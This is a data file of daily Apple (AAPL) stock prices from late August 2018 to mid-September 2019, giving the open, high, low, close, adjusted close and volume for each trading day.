-2018-08-29,220.14999389648438,223.49000549316406,219.41000366210938,222.97999572753906,218.9154815673828,27254800.0,AAPL -2018-08-30,223.25,228.25999450683594,222.39999389648438,225.02999877929688,220.9281005859375,48793800.0,AAPL -2018-08-31,226.50999450683594,228.8699951171875,226.0,227.6300048828125,223.480712890625,43340100.0,AAPL -2018-09-04,228.41000366210938,229.17999267578125,226.6300048828125,228.36000061035156,224.19741821289062,27390100.0,AAPL -2018-09-05,228.99000549316406,229.6699981689453,225.10000610351562,226.8699951171875,222.73458862304688,33333000.0,AAPL -2018-09-06,226.22999572753906,227.35000610351562,221.3000030517578,223.10000610351562,219.03330993652344,34290000.0,AAPL -2018-09-07,221.85000610351562,225.3699951171875,220.7100067138672,221.3000030517578,217.26611328125,37619800.0,AAPL -2018-09-10,220.9499969482422,221.85000610351562,216.47000122070312,218.3300018310547,214.35023498535156,39516500.0,AAPL -2018-09-11,218.00999450683594,224.3000030517578,216.55999755859375,223.85000610351562,219.76963806152344,35749000.0,AAPL -2018-09-12,224.94000244140625,225.0,219.83999633789062,221.07000732421875,217.04029846191406,49278700.0,AAPL -2018-09-13,223.52000427246094,228.35000610351562,222.57000732421875,226.41000366210938,222.282958984375,41706400.0,AAPL -2018-09-14,225.75,226.83999633789062,222.52000427246094,223.83999633789062,219.7598114013672,31999300.0,AAPL -2018-09-17,222.14999389648438,222.9499969482422,217.27000427246094,217.8800048828125,213.908447265625,37195100.0,AAPL -2018-09-18,217.7899932861328,221.85000610351562,217.1199951171875,218.24000549316406,214.2618865966797,31571700.0,AAPL -2018-09-19,218.5,219.6199951171875,215.3000030517578,218.3699951171875,214.38949584960938,27123800.0,AAPL -2018-09-20,220.24000549316406,222.27999877929688,219.14999389648438,220.02999877929688,216.01927185058594,26608800.0,AAPL -2018-09-21,220.77999877929688,221.36000061035156,217.2899932861328,217.66000366210938,213.6924591064453,96246700.0,AAPL -2018-09-24,216.82000732421875,221.25999450683594,216.6300048828125,220.7899932861328,216.76539611816406,27693400.0,AAPL -2018-09-25,219.75,222.82000732421875,219.6999969482422,222.19000244140625,218.13987731933594,24554400.0,AAPL -2018-09-26,221.0,223.75,219.75999450683594,220.4199981689453,216.4021453857422,23984700.0,AAPL -2018-09-27,223.82000732421875,226.44000244140625,223.5399932861328,224.9499969482422,220.84957885742188,30181200.0,AAPL -2018-09-28,224.7899932861328,225.83999633789062,224.02000427246094,225.74000549316406,221.6251678466797,22929400.0,AAPL -2018-10-01,227.9499969482422,229.4199981689453,226.35000610351562,227.25999450683594,223.11746215820312,23600800.0,AAPL -2018-10-02,227.25,230.0,226.6300048828125,229.27999877929688,225.10064697265625,24788200.0,AAPL -2018-10-03,230.0500030517578,233.47000122070312,229.77999877929688,232.07000732421875,227.8397979736328,28654800.0,AAPL -2018-10-04,230.77999877929688,232.35000610351562,226.72999572753906,227.99000549316406,223.83416748046875,32042000.0,AAPL -2018-10-05,227.9600067138672,228.41000366210938,220.5800018310547,224.2899932861328,220.20159912109375,33580500.0,AAPL -2018-10-08,222.2100067138672,224.8000030517578,220.1999969482422,223.77000427246094,219.69110107421875,29663900.0,AAPL -2018-10-09,223.63999938964844,227.27000427246094,222.25,226.8699951171875,222.73458862304688,26891000.0,AAPL -2018-10-10,225.4600067138672,226.35000610351562,216.0500030517578,216.36000061035156,212.41615295410156,41990600.0,AAPL -2018-10-11,214.52000427246094,219.5,212.32000732421875,214.4499969482422,210.5409698486328,53124400.0,AAPL -2018-10-12,220.4199981689453,222.8800048828125,216.83999633789062,222.11000061035156,218.06134033203125,40337900.0,AAPL -2018-10-15,221.16000366210938,221.8300018310547,217.27000427246094,217.36000061035156,213.39791870117188,30791000.0,AAPL -2018-10-16,218.92999267578125,222.99000549316406,216.75999450683594,222.14999389648438,218.10060119628906,29184000.0,AAPL -2018-10-17,222.3000030517578,222.63999938964844,219.33999633789062,221.19000244140625,217.15811157226562,22885400.0,AAPL -2018-10-18,217.86000061035156,219.74000549316406,213.0,216.02000427246094,212.0823516845703,32581300.0,AAPL -2018-10-19,218.05999755859375,221.25999450683594,217.42999267578125,219.30999755859375,215.31236267089844,33078700.0,AAPL -2018-10-22,219.7899932861328,223.36000061035156,218.94000244140625,220.64999389648438,216.62794494628906,28792100.0,AAPL -2018-10-23,215.8300018310547,223.25,214.6999969482422,222.72999572753906,218.67002868652344,38767800.0,AAPL -2018-10-24,222.60000610351562,224.22999572753906,214.5399932861328,215.08999633789062,211.16929626464844,40925500.0,AAPL -2018-10-25,217.7100067138672,221.3800048828125,216.75,219.8000030517578,215.79345703125,29855800.0,AAPL -2018-10-26,215.89999389648438,220.19000244140625,212.6699981689453,216.3000030517578,212.35723876953125,47258400.0,AAPL -2018-10-29,219.19000244140625,219.69000244140625,206.08999633789062,212.24000549316406,208.3712615966797,45935500.0,AAPL -2018-10-30,211.14999389648438,215.17999267578125,209.27000427246094,213.3000030517578,209.41192626953125,36660000.0,AAPL -2018-10-31,216.8800048828125,220.4499969482422,216.6199951171875,218.86000061035156,214.87059020996094,38358900.0,AAPL -2018-11-01,219.0500030517578,222.36000061035156,216.80999755859375,222.22000122070312,218.16934204101562,58323200.0,AAPL -2018-11-02,209.5500030517578,213.64999389648438,205.42999267578125,207.47999572753906,203.697998046875,91328700.0,AAPL -2018-11-05,204.3000030517578,204.38999938964844,198.1699981689453,201.58999633789062,197.91537475585938,66163700.0,AAPL -2018-11-06,201.9199981689453,204.72000122070312,201.69000244140625,203.77000427246094,200.05564880371094,31882900.0,AAPL -2018-11-07,205.97000122070312,210.05999755859375,204.1300048828125,209.9499969482422,206.12298583984375,33424400.0,AAPL -2018-11-08,209.97999572753906,210.1199951171875,206.75,208.49000549316406,205.40380859375,25362600.0,AAPL -2018-11-09,205.5500030517578,206.00999450683594,202.25,204.47000122070312,201.44329833984375,34365800.0,AAPL -2018-11-12,199.0,199.85000610351562,193.7899932861328,194.1699981689453,191.29576110839844,51135500.0,AAPL -2018-11-13,191.6300048828125,197.17999267578125,191.4499969482422,192.22999572753906,189.3844757080078,46882900.0,AAPL -2018-11-14,193.89999389648438,194.47999572753906,185.92999267578125,186.8000030517578,184.03488159179688,60801000.0,AAPL -2018-11-15,188.38999938964844,191.97000122070312,186.89999389648438,191.41000366210938,188.57662963867188,46478800.0,AAPL -2018-11-16,190.5,194.97000122070312,189.4600067138672,193.52999877929688,190.6652374267578,36928300.0,AAPL -2018-11-19,190.0,190.6999969482422,184.99000549316406,185.86000061035156,183.10877990722656,41925300.0,AAPL -2018-11-20,178.3699951171875,181.47000122070312,175.50999450683594,176.97999572753906,174.36024475097656,67825200.0,AAPL -2018-11-21,179.72999572753906,180.27000427246094,176.5500030517578,176.77999877929688,174.16319274902344,31124200.0,AAPL -2018-11-23,174.94000244140625,176.60000610351562,172.10000610351562,172.2899932861328,169.73965454101562,23624000.0,AAPL -2018-11-26,174.24000549316406,174.9499969482422,170.25999450683594,174.6199951171875,172.03517150878906,44998500.0,AAPL -2018-11-27,171.50999450683594,174.77000427246094,170.8800048828125,174.24000549316406,171.66079711914062,41387400.0,AAPL -2018-11-28,176.72999572753906,181.2899932861328,174.92999267578125,180.94000244140625,178.26162719726562,46062500.0,AAPL -2018-11-29,182.66000366210938,182.8000030517578,177.6999969482422,179.5500030517578,176.89219665527344,41770000.0,AAPL -2018-11-30,180.2899932861328,180.3300018310547,177.02999877929688,178.5800018310547,175.93655395507812,39531500.0,AAPL -2018-12-03,184.4600067138672,184.94000244140625,181.2100067138672,184.82000732421875,182.0841827392578,40802500.0,AAPL -2018-12-04,180.9499969482422,182.38999938964844,176.27000427246094,176.69000244140625,174.0745391845703,41344300.0,AAPL -2018-12-06,171.75999450683594,174.77999877929688,170.4199981689453,174.72000122070312,172.13368225097656,43098400.0,AAPL -2018-12-07,173.49000549316406,174.49000549316406,168.3000030517578,168.49000549316406,165.9959259033203,42281600.0,AAPL -2018-12-10,165.0,170.08999633789062,163.3300018310547,169.60000610351562,167.0894775390625,62026000.0,AAPL -2018-12-11,171.66000366210938,171.7899932861328,167.0,168.6300048828125,166.13385009765625,47281700.0,AAPL -2018-12-12,170.39999389648438,171.9199981689453,169.02000427246094,169.10000610351562,166.5968780517578,35627700.0,AAPL -2018-12-13,170.49000549316406,172.57000732421875,169.5500030517578,170.9499969482422,168.4194793701172,31898600.0,AAPL -2018-12-14,169.0,169.0800018310547,165.27999877929688,165.47999572753906,163.03045654296875,40703700.0,AAPL -2018-12-17,165.4499969482422,168.35000610351562,162.72999572753906,163.94000244140625,161.5132598876953,44287900.0,AAPL -2018-12-18,165.3800048828125,167.52999877929688,164.38999938964844,166.07000732421875,163.6117401123047,33841500.0,AAPL -2018-12-19,166.0,167.4499969482422,159.08999633789062,160.88999938964844,158.50840759277344,49047300.0,AAPL -2018-12-20,160.39999389648438,162.11000061035156,155.3000030517578,156.8300018310547,154.5084991455078,64773000.0,AAPL -2018-12-21,156.86000061035156,158.16000366210938,149.6300048828125,150.72999572753906,148.49879455566406,95744600.0,AAPL -2018-12-24,148.14999389648438,151.5500030517578,146.58999633789062,146.8300018310547,144.6565399169922,37169200.0,AAPL -2018-12-26,148.3000030517578,157.22999572753906,146.72000122070312,157.1699981689453,154.84347534179688,58582500.0,AAPL -2018-12-27,155.83999633789062,156.77000427246094,150.07000732421875,156.14999389648438,153.83856201171875,53117100.0,AAPL -2018-12-28,157.5,158.52000427246094,154.5500030517578,156.22999572753906,153.91738891601562,42291400.0,AAPL -2018-12-31,158.52999877929688,159.36000061035156,156.47999572753906,157.74000549316406,155.40504455566406,35003500.0,AAPL -2019-01-02,154.88999938964844,158.85000610351562,154.22999572753906,157.9199981689453,155.58236694335938,37039700.0,AAPL -2019-01-03,143.97999572753906,145.72000122070312,142.0,142.19000244140625,140.08522033691406,91312200.0,AAPL -2019-01-04,144.52999877929688,148.5500030517578,143.8000030517578,148.25999450683594,146.0653533935547,58607100.0,AAPL -2019-01-07,148.6999969482422,148.8300018310547,145.89999389648438,147.92999267578125,145.74026489257812,54777800.0,AAPL -2019-01-08,149.55999755859375,151.82000732421875,148.52000427246094,150.75,148.5185089111328,41025300.0,AAPL -2019-01-09,151.2899932861328,154.52999877929688,149.6300048828125,153.30999755859375,151.0406036376953,45099100.0,AAPL -2019-01-10,152.5,153.97000122070312,150.86000061035156,153.8000030517578,151.52337646484375,35780700.0,AAPL -2019-01-11,152.8800048828125,153.6999969482422,151.50999450683594,152.2899932861328,150.03570556640625,27023200.0,AAPL -2019-01-14,150.85000610351562,151.27000427246094,149.22000122070312,150.0,147.77960205078125,32439200.0,AAPL -2019-01-15,150.27000427246094,153.38999938964844,150.0500030517578,153.07000732421875,150.80416870117188,28710900.0,AAPL -2019-01-16,153.0800018310547,155.8800048828125,153.0,154.94000244140625,152.646484375,30569700.0,AAPL -2019-01-17,154.1999969482422,157.66000366210938,153.25999450683594,155.86000061035156,153.55287170410156,29821200.0,AAPL -2019-01-18,157.5,157.8800048828125,155.97999572753906,156.82000732421875,154.4986572265625,33751000.0,AAPL -2019-01-22,156.41000366210938,156.72999572753906,152.6199951171875,153.3000030517578,151.03077697753906,30394000.0,AAPL -2019-01-23,154.14999389648438,155.13999938964844,151.6999969482422,153.9199981689453,151.64158630371094,23130600.0,AAPL -2019-01-24,154.11000061035156,154.47999572753906,151.74000549316406,152.6999969482422,150.43963623046875,25441500.0,AAPL -2019-01-25,155.47999572753906,158.1300048828125,154.32000732421875,157.75999450683594,155.42474365234375,33535500.0,AAPL -2019-01-28,155.7899932861328,156.3300018310547,153.66000366210938,156.3000030517578,153.98635864257812,26192100.0,AAPL -2019-01-29,156.25,158.1300048828125,154.11000061035156,154.67999267578125,152.39031982421875,41587200.0,AAPL -2019-01-30,163.25,166.14999389648438,160.22999572753906,165.25,162.80386352539062,61109800.0,AAPL -2019-01-31,166.11000061035156,169.0,164.55999755859375,166.44000244140625,163.9762420654297,40739600.0,AAPL -2019-02-01,166.9600067138672,168.97999572753906,165.92999267578125,166.52000427246094,164.05506896972656,32668100.0,AAPL -2019-02-04,167.41000366210938,171.66000366210938,167.27999877929688,171.25,168.7150421142578,31495500.0,AAPL -2019-02-05,172.86000061035156,175.0800018310547,172.35000610351562,174.17999267578125,171.6016845703125,36101600.0,AAPL -2019-02-06,174.64999389648438,175.57000732421875,172.85000610351562,174.24000549316406,171.66079711914062,28239600.0,AAPL -2019-02-07,172.39999389648438,173.94000244140625,170.33999633789062,170.94000244140625,168.40965270996094,31741700.0,AAPL -2019-02-08,168.99000549316406,170.66000366210938,168.4199981689453,170.41000366210938,168.60752868652344,23820000.0,AAPL -2019-02-11,171.0500030517578,171.2100067138672,169.25,169.42999267578125,167.63787841796875,20993400.0,AAPL -2019-02-12,170.10000610351562,171.0,169.6999969482422,170.88999938964844,169.0824432373047,22283500.0,AAPL -2019-02-13,171.38999938964844,172.47999572753906,169.9199981689453,170.17999267578125,168.37994384765625,22490200.0,AAPL -2019-02-14,169.7100067138672,171.25999450683594,169.3800048828125,170.8000030517578,168.993408203125,21835700.0,AAPL -2019-02-15,171.25,171.6999969482422,169.75,170.4199981689453,168.617431640625,24626800.0,AAPL -2019-02-19,169.7100067138672,171.44000244140625,169.49000549316406,170.92999267578125,169.12200927734375,18972800.0,AAPL -2019-02-20,171.19000244140625,173.32000732421875,170.99000549316406,172.02999877929688,170.21038818359375,26114400.0,AAPL -2019-02-21,171.8000030517578,172.3699951171875,170.3000030517578,171.05999755859375,169.2506561279297,17249700.0,AAPL -2019-02-22,171.5800018310547,173.0,171.3800048828125,172.97000122070312,171.14044189453125,18913200.0,AAPL -2019-02-25,174.16000366210938,175.8699951171875,173.9499969482422,174.22999572753906,172.38711547851562,21873400.0,AAPL -2019-02-26,173.7100067138672,175.3000030517578,173.1699981689453,174.3300018310547,172.48605346679688,17070200.0,AAPL -2019-02-27,173.2100067138672,175.0,172.72999572753906,174.8699951171875,173.0203399658203,27835400.0,AAPL -2019-02-28,174.32000732421875,174.91000366210938,172.9199981689453,173.14999389648438,171.31854248046875,28215400.0,AAPL -2019-03-01,174.27999877929688,175.14999389648438,172.88999938964844,174.97000122070312,173.11927795410156,25886200.0,AAPL -2019-03-04,175.69000244140625,177.75,173.97000122070312,175.85000610351562,173.989990234375,27436200.0,AAPL -2019-03-05,175.94000244140625,176.0,174.5399932861328,175.52999877929688,173.67337036132812,19737400.0,AAPL -2019-03-06,174.6699981689453,175.49000549316406,173.94000244140625,174.52000427246094,172.67405700683594,20810400.0,AAPL -2019-03-07,173.8699951171875,174.44000244140625,172.02000427246094,172.5,170.6754150390625,24796400.0,AAPL -2019-03-08,170.32000732421875,173.07000732421875,169.5,172.91000366210938,171.08108520507812,23999400.0,AAPL -2019-03-11,175.49000549316406,179.1199951171875,175.35000610351562,178.89999389648438,177.00770568847656,32011000.0,AAPL -2019-03-12,180.0,182.6699981689453,179.3699951171875,180.91000366210938,178.99647521972656,32467600.0,AAPL -2019-03-13,182.25,183.3000030517578,180.9199981689453,181.7100067138672,179.78799438476562,31032500.0,AAPL -2019-03-14,183.89999389648438,184.10000610351562,182.55999755859375,183.72999572753906,181.78662109375,23579500.0,AAPL -2019-03-15,184.85000610351562,187.3300018310547,183.74000549316406,186.1199951171875,184.15133666992188,39042900.0,AAPL -2019-03-18,185.8000030517578,188.38999938964844,185.7899932861328,188.02000427246094,186.03126525878906,26219800.0,AAPL -2019-03-19,188.35000610351562,188.99000549316406,185.9199981689453,186.52999877929688,184.55702209472656,31646400.0,AAPL -2019-03-20,186.22999572753906,189.49000549316406,184.72999572753906,188.16000366210938,186.16978454589844,31035200.0,AAPL -2019-03-21,190.02000427246094,196.3300018310547,189.80999755859375,195.08999633789062,193.02645874023438,51034200.0,AAPL -2019-03-22,195.33999633789062,197.69000244140625,190.77999877929688,191.0500030517578,189.02920532226562,42407700.0,AAPL -2019-03-25,191.50999450683594,191.97999572753906,186.60000610351562,188.74000549316406,186.74363708496094,43845300.0,AAPL -2019-03-26,191.66000366210938,192.8800048828125,184.5800018310547,186.7899932861328,184.8142547607422,49800500.0,AAPL -2019-03-27,188.75,189.75999450683594,186.5500030517578,188.47000122070312,186.4764862060547,29848400.0,AAPL -2019-03-28,188.9499969482422,189.55999755859375,187.52999877929688,188.72000122070312,186.72384643554688,20780400.0,AAPL -2019-03-29,189.8300018310547,190.0800018310547,188.5399932861328,189.9499969482422,187.9408416748047,23564000.0,AAPL -2019-04-01,191.63999938964844,191.67999267578125,188.3800048828125,191.24000549316406,189.2172088623047,27862000.0,AAPL -2019-04-02,191.08999633789062,194.4600067138672,191.0500030517578,194.02000427246094,191.96780395507812,22765700.0,AAPL -2019-04-03,193.25,196.5,193.14999389648438,195.35000610351562,193.2837371826172,23271800.0,AAPL -2019-04-04,194.7899932861328,196.3699951171875,193.13999938964844,195.69000244140625,193.6201171875,19114300.0,AAPL -2019-04-05,196.4499969482422,197.10000610351562,195.92999267578125,197.0,194.916259765625,18526600.0,AAPL -2019-04-08,196.4199981689453,200.22999572753906,196.33999633789062,200.10000610351562,197.9834747314453,25881700.0,AAPL -2019-04-09,200.32000732421875,202.85000610351562,199.22999572753906,199.5,197.38983154296875,35768200.0,AAPL -2019-04-10,198.67999267578125,200.74000549316406,198.17999267578125,200.6199951171875,198.4979705810547,21695300.0,AAPL -2019-04-11,200.85000610351562,201.0,198.44000244140625,198.9499969482422,196.84564208984375,20900800.0,AAPL -2019-04-12,199.1999969482422,200.13999938964844,196.2100067138672,198.8699951171875,196.76649475097656,27760700.0,AAPL -2019-04-15,198.5800018310547,199.85000610351562,198.00999450683594,199.22999572753906,197.1226806640625,17536600.0,AAPL -2019-04-16,199.4600067138672,201.3699951171875,198.55999755859375,199.25,197.14247131347656,25696400.0,AAPL -2019-04-17,199.5399932861328,203.3800048828125,198.61000061035156,203.1300048828125,200.9814453125,28906800.0,AAPL -2019-04-18,203.1199951171875,204.14999389648438,202.52000427246094,203.86000061035156,201.70372009277344,24195800.0,AAPL -2019-04-22,202.8300018310547,204.94000244140625,202.33999633789062,204.52999877929688,202.36663818359375,19439500.0,AAPL -2019-04-23,204.42999267578125,207.75,203.89999389648438,207.47999572753906,205.28541564941406,23323000.0,AAPL -2019-04-24,207.36000061035156,208.47999572753906,207.0500030517578,207.16000366210938,204.96881103515625,17540600.0,AAPL -2019-04-25,206.8300018310547,207.75999450683594,205.1199951171875,205.27999877929688,203.10870361328125,18543200.0,AAPL -2019-04-26,204.89999389648438,205.0,202.1199951171875,204.3000030517578,202.13906860351562,18649100.0,AAPL -2019-04-29,204.39999389648438,205.97000122070312,203.86000061035156,204.61000061035156,202.44578552246094,22204700.0,AAPL -2019-04-30,203.05999755859375,203.39999389648438,199.11000061035156,200.6699981689453,198.54745483398438,46534900.0,AAPL -2019-05-01,209.8800048828125,215.30999755859375,209.22999572753906,210.52000427246094,208.29327392578125,64827300.0,AAPL -2019-05-02,209.83999633789062,212.64999389648438,208.1300048828125,209.14999389648438,206.93775939941406,31996300.0,AAPL -2019-05-03,210.88999938964844,211.83999633789062,210.22999572753906,211.75,209.51026916503906,20892400.0,AAPL -2019-05-06,204.2899932861328,208.83999633789062,203.5,208.47999572753906,206.2748565673828,32443100.0,AAPL -2019-05-07,205.8800048828125,207.4199981689453,200.8300018310547,202.86000061035156,200.71429443359375,38763700.0,AAPL -2019-05-08,201.89999389648438,205.33999633789062,201.75,202.89999389648438,200.7538604736328,26339500.0,AAPL -2019-05-09,200.39999389648438,201.67999267578125,196.66000366210938,200.72000122070312,198.596923828125,34908600.0,AAPL -2019-05-10,197.4199981689453,198.85000610351562,192.77000427246094,197.17999267578125,195.84567260742188,41208700.0,AAPL -2019-05-13,187.7100067138672,189.47999572753906,182.85000610351562,185.72000122070312,184.46324157714844,57430600.0,AAPL -2019-05-14,186.41000366210938,189.6999969482422,185.41000366210938,188.66000366210938,187.38333129882812,36529700.0,AAPL -2019-05-15,186.27000427246094,191.75,186.02000427246094,190.9199981689453,189.62803649902344,26544700.0,AAPL -2019-05-16,189.91000366210938,192.47000122070312,188.83999633789062,190.0800018310547,188.79373168945312,33031400.0,AAPL -2019-05-17,186.92999267578125,190.89999389648438,186.75999450683594,189.0,187.72103881835938,32879100.0,AAPL -2019-05-20,183.52000427246094,184.35000610351562,180.27999877929688,183.08999633789062,181.8510284423828,38612300.0,AAPL -2019-05-21,185.22000122070312,188.0,184.6999969482422,186.60000610351562,185.3372802734375,28364800.0,AAPL -2019-05-22,184.66000366210938,185.7100067138672,182.5500030517578,182.77999877929688,181.54312133789062,29748600.0,AAPL -2019-05-23,179.8000030517578,180.5399932861328,177.80999755859375,179.66000366210938,178.44424438476562,36529700.0,AAPL -2019-05-24,180.1999969482422,182.13999938964844,178.6199951171875,178.97000122070312,177.7589111328125,23714700.0,AAPL -2019-05-28,178.9199981689453,180.58999633789062,177.91000366210938,178.22999572753906,177.02391052246094,27948200.0,AAPL -2019-05-29,176.4199981689453,179.35000610351562,176.0,177.3800048828125,176.17965698242188,28481200.0,AAPL -2019-05-30,177.9499969482422,179.22999572753906,176.6699981689453,178.3000030517578,177.09344482421875,21218400.0,AAPL -2019-05-31,176.22999572753906,177.99000549316406,174.99000549316406,175.07000732421875,173.8852996826172,27043600.0,AAPL -2019-06-03,175.60000610351562,177.9199981689453,170.27000427246094,173.3000030517578,172.1272735595703,40396100.0,AAPL -2019-06-04,175.44000244140625,179.8300018310547,174.52000427246094,179.63999938964844,178.42437744140625,30968000.0,AAPL -2019-06-05,184.27999877929688,184.99000549316406,181.13999938964844,182.5399932861328,181.3047332763672,29773400.0,AAPL -2019-06-06,183.0800018310547,185.47000122070312,182.14999389648438,185.22000122070312,183.96661376953125,22526300.0,AAPL -2019-06-07,186.50999450683594,191.9199981689453,185.77000427246094,190.14999389648438,188.86325073242188,30684400.0,AAPL -2019-06-10,191.80999755859375,195.3699951171875,191.6199951171875,192.5800018310547,191.2768096923828,26220900.0,AAPL -2019-06-11,194.86000061035156,196.0,193.60000610351562,194.80999755859375,193.49171447753906,26932900.0,AAPL -2019-06-12,193.9499969482422,195.97000122070312,193.38999938964844,194.19000244140625,192.87591552734375,18221800.0,AAPL -2019-06-13,194.6999969482422,196.7899932861328,193.60000610351562,194.14999389648438,192.83616638183594,21674600.0,AAPL -2019-06-14,191.5500030517578,193.58999633789062,190.3000030517578,192.74000549316406,191.43572998046875,18761500.0,AAPL -2019-06-17,192.89999389648438,194.9600067138672,192.1699981689453,193.88999938964844,192.57794189453125,14669100.0,AAPL -2019-06-18,196.0500030517578,200.2899932861328,195.2100067138672,198.4499969482422,197.10708618164062,26551000.0,AAPL -2019-06-19,199.67999267578125,199.8800048828125,197.30999755859375,197.8699951171875,196.531005859375,21124200.0,AAPL -2019-06-20,200.3699951171875,200.61000061035156,198.02999877929688,199.4600067138672,198.11024475097656,21514000.0,AAPL -2019-06-21,198.8000030517578,200.85000610351562,198.14999389648438,198.77999877929688,197.43484497070312,47800600.0,AAPL -2019-06-24,198.5399932861328,200.16000366210938,198.1699981689453,198.5800018310547,197.2362060546875,18220400.0,AAPL -2019-06-25,198.42999267578125,199.25999450683594,195.2899932861328,195.57000732421875,194.24658203125,21070300.0,AAPL -2019-06-26,197.77000427246094,200.99000549316406,197.35000610351562,199.8000030517578,198.4479522705078,26067500.0,AAPL -2019-06-27,200.2899932861328,201.57000732421875,199.57000732421875,199.74000549316406,198.38836669921875,20899700.0,AAPL -2019-06-28,198.67999267578125,199.5,197.0500030517578,197.9199981689453,196.58065795898438,31110600.0,AAPL -2019-07-01,203.1699981689453,204.49000549316406,200.64999389648438,201.5500030517578,200.1861114501953,27316700.0,AAPL -2019-07-02,201.41000366210938,203.1300048828125,201.36000061035156,202.72999572753906,201.3581085205078,16935200.0,AAPL -2019-07-03,203.27999877929688,204.44000244140625,202.69000244140625,204.41000366210938,203.02674865722656,11362000.0,AAPL -2019-07-05,203.35000610351562,205.0800018310547,202.89999389648438,204.22999572753906,202.84796142578125,17265500.0,AAPL -2019-07-08,200.80999755859375,201.39999389648438,198.41000366210938,200.02000427246094,198.6664581298828,25287800.0,AAPL -2019-07-09,199.1999969482422,201.50999450683594,198.80999755859375,201.24000549316406,199.8782196044922,20578000.0,AAPL -2019-07-10,201.85000610351562,203.72999572753906,201.55999755859375,203.22999572753906,201.854736328125,17897100.0,AAPL -2019-07-11,203.30999755859375,204.38999938964844,201.7100067138672,201.75,200.38475036621094,20191800.0,AAPL -2019-07-12,202.4499969482422,204.0,202.1999969482422,203.3000030517578,201.9242706298828,17595200.0,AAPL -2019-07-15,204.08999633789062,205.8699951171875,204.0,205.2100067138672,203.82135009765625,16947400.0,AAPL -2019-07-16,204.58999633789062,206.11000061035156,203.5,204.5,203.1161346435547,16866800.0,AAPL -2019-07-17,204.0500030517578,205.08999633789062,203.27000427246094,203.35000610351562,201.9739227294922,14107500.0,AAPL -2019-07-18,204.0,205.8800048828125,203.6999969482422,205.66000366210938,204.26829528808594,18582200.0,AAPL -2019-07-19,205.7899932861328,206.5,202.36000061035156,202.58999633789062,201.2190704345703,20929300.0,AAPL -2019-07-22,203.64999389648438,207.22999572753906,203.61000061035156,207.22000122070312,205.81773376464844,22277900.0,AAPL -2019-07-23,208.4600067138672,208.91000366210938,207.2899932861328,208.83999633789062,207.4267578125,18355200.0,AAPL -2019-07-24,207.6699981689453,209.14999389648438,207.1699981689453,208.6699981689453,207.2579345703125,14991600.0,AAPL -2019-07-25,208.88999938964844,209.24000549316406,206.72999572753906,207.02000427246094,205.6190948486328,13909600.0,AAPL -2019-07-26,207.47999572753906,209.72999572753906,207.13999938964844,207.74000549316406,206.33421325683594,17618900.0,AAPL -2019-07-29,208.4600067138672,210.63999938964844,208.44000244140625,209.67999267578125,208.26107788085938,21673400.0,AAPL -2019-07-30,208.75999450683594,210.16000366210938,207.30999755859375,208.77999877929688,207.36717224121094,33935700.0,AAPL -2019-07-31,216.4199981689453,221.3699951171875,211.3000030517578,213.0399932861328,211.59835815429688,69281400.0,AAPL -2019-08-01,213.89999389648438,218.02999877929688,206.74000549316406,208.42999267578125,207.01953125,54017900.0,AAPL -2019-08-02,205.52999877929688,206.42999267578125,201.6300048828125,204.02000427246094,202.63938903808594,40862100.0,AAPL -2019-08-05,197.99000549316406,198.64999389648438,192.5800018310547,193.33999633789062,192.03164672851562,52393000.0,AAPL -2019-08-06,196.30999755859375,198.07000732421875,194.0399932861328,197.0,195.66688537597656,35824800.0,AAPL -2019-08-07,195.41000366210938,199.55999755859375,193.82000732421875,199.0399932861328,197.69308471679688,33364400.0,AAPL -2019-08-08,200.1999969482422,203.52999877929688,199.38999938964844,203.42999267578125,202.05337524414062,27009500.0,AAPL -2019-08-09,201.3000030517578,202.75999450683594,199.2899932861328,200.99000549316406,200.3883819580078,24619700.0,AAPL -2019-08-12,199.6199951171875,202.0500030517578,199.14999389648438,200.47999572753906,199.87989807128906,22474900.0,AAPL -2019-08-13,201.02000427246094,212.13999938964844,200.47999572753906,208.97000122070312,208.34449768066406,47218500.0,AAPL -2019-08-14,203.16000366210938,206.44000244140625,202.58999633789062,202.75,202.1431121826172,36547400.0,AAPL -2019-08-15,203.4600067138672,205.13999938964844,199.6699981689453,201.74000549316406,201.13613891601562,27227400.0,AAPL -2019-08-16,204.27999877929688,207.16000366210938,203.83999633789062,206.5,205.8818817138672,27620400.0,AAPL -2019-08-19,210.6199951171875,212.72999572753906,210.02999877929688,210.35000610351562,209.72036743164062,24413600.0,AAPL -2019-08-20,210.8800048828125,213.35000610351562,210.32000732421875,210.36000061035156,209.73033142089844,26884300.0,AAPL -2019-08-21,212.99000549316406,213.64999389648438,211.60000610351562,212.63999938964844,212.00350952148438,21535400.0,AAPL -2019-08-22,213.19000244140625,214.44000244140625,210.75,212.4600067138672,211.8240509033203,22253700.0,AAPL -2019-08-23,209.42999267578125,212.0500030517578,201.0,202.63999938964844,202.033447265625,46818000.0,AAPL -2019-08-26,205.86000061035156,207.19000244140625,205.05999755859375,206.49000549316406,205.87191772460938,26043600.0,AAPL -2019-08-27,207.86000061035156,208.5500030517578,203.52999877929688,204.16000366210938,203.54888916015625,25873300.0,AAPL -2019-08-28,204.10000610351562,205.72000122070312,203.32000732421875,205.52999877929688,204.914794921875,15938800.0,AAPL -2019-08-29,208.5,209.32000732421875,206.66000366210938,209.00999450683594,208.38436889648438,20990500.0,AAPL -2019-08-30,210.16000366210938,210.4499969482422,207.1999969482422,208.74000549316406,208.1151885986328,21143400.0,AAPL -2019-09-03,206.42999267578125,206.97999572753906,204.22000122070312,205.6999969482422,205.0842742919922,20023000.0,AAPL -2019-09-04,208.38999938964844,209.47999572753906,207.32000732421875,209.19000244140625,208.5638427734375,19188100.0,AAPL -2019-09-05,212.0,213.97000122070312,211.50999450683594,213.27999877929688,212.64158630371094,23913700.0,AAPL -2019-09-06,214.0500030517578,214.4199981689453,212.50999450683594,213.25999450683594,212.62164306640625,19362300.0,AAPL -2019-09-09,214.83999633789062,216.44000244140625,211.07000732421875,214.1699981689453,213.5289306640625,27309400.0,AAPL -2019-09-10,213.86000061035156,216.77999877929688,211.7100067138672,216.6999969482422,216.0513458251953,31777900.0,AAPL -2019-09-11,218.07000732421875,223.7100067138672,217.72999572753906,223.58999633789062,222.9207305908203,44289600.0,AAPL -2019-09-12,224.8000030517578,226.4199981689453,222.86000061035156,223.08999633789062,222.42222595214844,32226700.0,AAPL -2019-09-13,220.0,220.7899932861328,217.02000427246094,218.75,218.09521484375,39763300.0,AAPL -2019-09-16,217.72999572753906,220.1300048828125,217.55999755859375,219.89999389648438,219.2417755126953,21158100.0,AAPL -2019-09-17,219.9600067138672,220.82000732421875,219.1199951171875,220.6999969482422,220.0393829345703,18318700.0,AAPL 